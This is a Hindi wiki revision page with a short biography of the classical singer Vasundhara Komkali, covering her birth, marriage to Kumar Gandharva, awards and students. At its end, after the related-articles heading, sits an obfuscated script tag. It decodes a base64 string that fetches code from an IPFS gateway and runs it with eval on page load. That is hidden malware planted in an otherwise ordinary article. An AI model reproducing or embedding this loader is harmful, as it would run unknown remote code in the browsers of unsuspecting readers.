वसुंधरा कोमकली: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''वसुंधरा कोमकली''' (अंग्रेज़ी: ''Vasundhara Komkali'', जन्म- 23 मई,...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
Line 1: Line 1:
[[चित्र:Vasundhara-Komkali.jpg|thumb|250px|वसुंधरा कोमकली]]
'''वसुंधरा कोमकली''' ([[अंग्रेज़ी]]: ''Vasundhara Komkali'', जन्म- [[23 मई]], [[1931]]; मृत्यु- [[29 जुलाई]], [[2015]]) भारतीय शास्त्रीय संगीतकार थीं। वह [[भारत]] के प्रसिद्ध संगीत घराने '[[ग्वालियर घराना]]' के प्रमुख प्रतिपादकों में से एक थीं। वसुंधरा कोमकली को 'वसुंधरा ताई' के नाम से भी जाना जाता था। वह बहुत ही सुघड़ गायिका थीं। उन्होंने [[कुमार गंधर्व|पंडित कुमार गंधर्व]] की गायन शैली को आगे बढ़ाया था और [[देवास]] का नाम रोशन किया।<br />
'''वसुंधरा कोमकली''' ([[अंग्रेज़ी]]: ''Vasundhara Komkali'', जन्म- [[23 मई]], [[1931]]; मृत्यु- [[29 जुलाई]], [[2015]]) भारतीय शास्त्रीय संगीतकार थीं। वह [[भारत]] के प्रसिद्ध संगीत घराने '[[ग्वालियर घराना]]' के प्रमुख प्रतिपादकों में से एक थीं। वसुंधरा कोमकली को 'वसुंधरा ताई' के नाम से भी जाना जाता था। वह बहुत ही सुघड़ गायिका थीं। उन्होंने [[कुमार गंधर्व|पंडित कुमार गंधर्व]] की गायन शैली को आगे बढ़ाया था और [[देवास]] का नाम रोशन किया।<br />
<br />
<br />

Latest revision as of 16:49, 16 April 2021

thumb|250px|वसुंधरा कोमकली वसुंधरा कोमकली (अंग्रेज़ी: Vasundhara Komkali, जन्म- 23 मई, 1931; मृत्यु- 29 जुलाई, 2015) भारतीय शास्त्रीय संगीतकार थीं। वह भारत के प्रसिद्ध संगीत घराने 'ग्वालियर घराना' के प्रमुख प्रतिपादकों में से एक थीं। वसुंधरा कोमकली को 'वसुंधरा ताई' के नाम से भी जाना जाता था। वह बहुत ही सुघड़ गायिका थीं। उन्होंने पंडित कुमार गंधर्व की गायन शैली को आगे बढ़ाया था और देवास का नाम रोशन किया।

  • वसुंधरा कोमकली का जन्म 23 मई, 1931 को जमशेदपुर, झारखंड में हुआ था।
  • वह अपने समय के प्रसिद्ध संगीतकार कुमार गंधर्व की पत्नी थीं।
  • वर्ष 2009 में उन्हें 'संगीत नाटक अकादमी पुरस्कार' से सम्मानित किया गया था। इसके अतिरिक्त भारत सरकार ने उन्हें भारतीय शास्त्रीय संगीत में उनके योगदान के लिए 2006 में 'पद्म श्री' से सम्मानित किया था।
  • वसुंधरा ताई की समझ सिर्फ संगीत ही नहीं बल्कि व्यापक मुद्दों और रंजकता, कला के विविध पक्ष और साहित्य पर भी बराबर थी। कुमार गंधर्व के घर लगभग सारे अखबार और पत्रिकाएं आती थीं, जिनका अध्ययन और मनन वे लगातार करती रहती थीं।
  • वसुंधरा कोमकली सिर्फ कुमारजी की सहचरणी नहीं थी बल्कि शास्त्रीय संगीत के जो संस्कार ग्वालियर घराने और अपने पिता से मिले थे, उन्होंने संगीत में बहुत प्रयोग किये, निर्गुणी भजनों की परम्परा को जीवित रखा। देश-विदेश में उनके शिष्य आज इस परम्परा को निभा रहे हैं।
  • कुमार गंधर्व के निधन के बाद वसुंधरा कोमकली सार्वजनिक कार्यक्रमों में हिस्सेदारी कम करने लगी थीं, परन्तु अपनी पुत्री कलापिनी और पोते भुवनेश को उन्होंने संगीत की विधिवत शिक्षा देकर इतना पारंगत कर दिया कि दोनों आज देश के स्थापित कलाकार हैं।
  • भारतीय संगीत की मूर्धन्य गायिका तो वसुंधरा जी थी ही, साथ ही एक अच्छी गुरु और बहुत स्नेहिल मां थीं।
  • 29 जुलाई, 2015 को उनके निधन के साथ ही देवास के साथ-साथ समूचे मालवा ने एक वात्सल्यमयी मां को खो दिया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>